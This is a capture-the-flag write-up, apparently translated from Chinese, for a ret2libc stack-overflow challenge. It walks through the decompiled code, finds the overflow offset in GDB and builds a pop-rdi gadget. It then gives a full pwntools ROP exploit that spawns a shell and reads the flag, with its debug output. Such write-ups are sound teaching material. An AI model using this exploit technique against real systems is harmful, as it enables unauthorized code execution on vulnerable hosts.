The original Chinese article was written by a human and only proofread with generative AI. This English version was translated with AI.
According to the challenge hint, this is a ret2libc challenge.1
Once again, open the binary in IDA.
int __fastcall main(int argc, const char **argv, const char **envp)
{
setup(argc, argv, envp);
puts("The Oracle speaks...");
puts("There is no system function in the .text segment.");
printf("A gift of forbidden knowledge, the location of 'printf': %p\n", &printf);
vuln();
return 0;
}
ssize_t vuln()
{
char buf[64]; // [rsp+0h] [rbp-40h] BYREF
puts("\nNow, show me what you can do with this knowledge:");
printf("> ");
return read(0, buf, 0x100uLL);
}
The program leaks the address of printf, and we are also given libc.so.6. This allows us to calculate the base address of libc and then add the required offsets.
However, neither system nor the string "/bin/sh" appears to exist in the binary itself.
Therefore, we need to obtain both of them from libc.
Under the System V AMD64 ABI,
systemtakes a single argument, which is passed in theRDIregister. Therefore, before jumping tosystem, we need to place the address of the string inRDI.We can use
POP RDIto load an address from the stack intoRDI.We need to find a gadget with the following instructions:
POP RDI
RET
We then construct the overflow so that the stack contains:
systemaddressString address
Gadget address
The entire process can be completed with a single chain—elegant and extremely cool.
Unfortunately, we could not find that exact sequence.
5F pop rdi
C3 retn
But we did find this:
.text:000000000002A3E4 41 5F pop r15
.text:000000000002A3E6 C3 retn
Starting one byte into the first instruction works as well.
Now we can begin constructing the stack overflow.
.text:0000000000401215 call printf
.text:000000000040121A lea rax, [rbp+buf]
.text:000000000040121E mov edx, 100h ; nbytes
.text:0000000000401223 mov rsi, rax ; buf
.text:0000000000401226 mov edi, 0 ; fd
.text:000000000040122B call _read
.text:0000000000401230 nop
.text:0000000000401231 leave
.text:0000000000401232 retn
The address of buf is stored in the RSI register.
Set a breakpoint in GDB and inspect the registers.
GNU gdb (Ubuntu 15.1-1ubuntu1~24.04.1) 15.1
...
(gdb) b *0x401226
Breakpoint 1 at 0x401226
(gdb) r
Starting program: /mnt/path/to/pwn
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
The Oracle speaks...
There is no system function in the .text segment.
A gift of forbidden knowledge, the location of 'printf': 0x7ffff7c60100
Now, show me what you can do with this knowledge:
>
Breakpoint 1, 0x0000000000401226 in vuln ()
(gdb) info registers
rax 0x7fffffffd7b0 140737488345008
rbx 0x7fffffffd928 140737488345384
rcx 0x0 0
rdx 0x100 256
rsi 0x7fffffffd7b0 140737488345008
rdi 0x7fffffffd5d0 140737488344528
rbp 0x7fffffffd7f0 0x7fffffffd7f0
rsp 0x7fffffffd7b0 0x7fffffffd7b0
...
The address of buf is 0x7fffffffd7b0.
The stack frame base, rbp, is at 0x7fffffffd7f0.
Therefore, the distance from buf to the saved return address is 0xf0 - 0xb0 + 0x8 = 0x48, or 72 bytes.
pwntools script:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = connect("127.0.0.1", 11997)
io.recvuntil(b'\'printf\':')
data = int(io.recv(16), 16)
print(hex(data))
print((data))
baseAdd = data - 0x606f0
gadgetAdd = baseAdd + 0x2a3e5
stringAdd = baseAdd + 0x1d8678
systemAdd = baseAdd + 0x50d70
retAdd = baseAdd + 0xc6c2f
io.send(b'A' * 72 + p64(gadgetAdd) + p64(stringAdd) + p64(retAdd) + p64(systemAdd))
io.interactive()
Here, the gadget executes an extra
retwithout a correspondingcall, leavingrspmisaligned with respect to the required 16-byte stack alignment.Therefore, we need one additional
retgadget to restore alignment.
[x] Opening connection to 127.0.0.1 on port 11997
[x] Opening connection to 127.0.0.1 on port 11997: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 11997: Done
[DEBUG] Received 0x14 bytes:
b'The Oracle speaks...'
[DEBUG] Received 0xb0 bytes:
b'\n'
b'There is no system function in the .text segment.\n'
b"A gift of forbidden knowledge, the location of 'printf': 0x7feccf7716f0\n"
b'\n'
b'Now, show me what you can do with this knowledge:\n'
b'> '
0x7feccf7716f0
140655069697776
[DEBUG] Sent 0x68 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000040 41 41 41 41 41 41 41 41 e5 b3 73 cf ec 7f 00 00 │AAAA│AAAA│··s·│····│
00000050 78 96 8e cf ec 7f 00 00 2f 7c 7d cf ec 7f 00 00 │x···│····│/|}·│····│
00000060 70 1d 76 cf ec 7f 00 00 │p·v·│····│
00000068
[*] Switching to interactive mode
Now, show me what you can do with this knowledge:
> ls
[DEBUG] Sent ...
[DEBUG] Received ...
bin
flag
lib
lib32
lib64
libexec
libx32
pwn
cat flag
[DEBUG] Sent ...
[DEBUG] Received ...
moectf{THIS_IS_FLAG}
[*] Interrupted
[*] Closed connection to 127.0.0.1 port 11997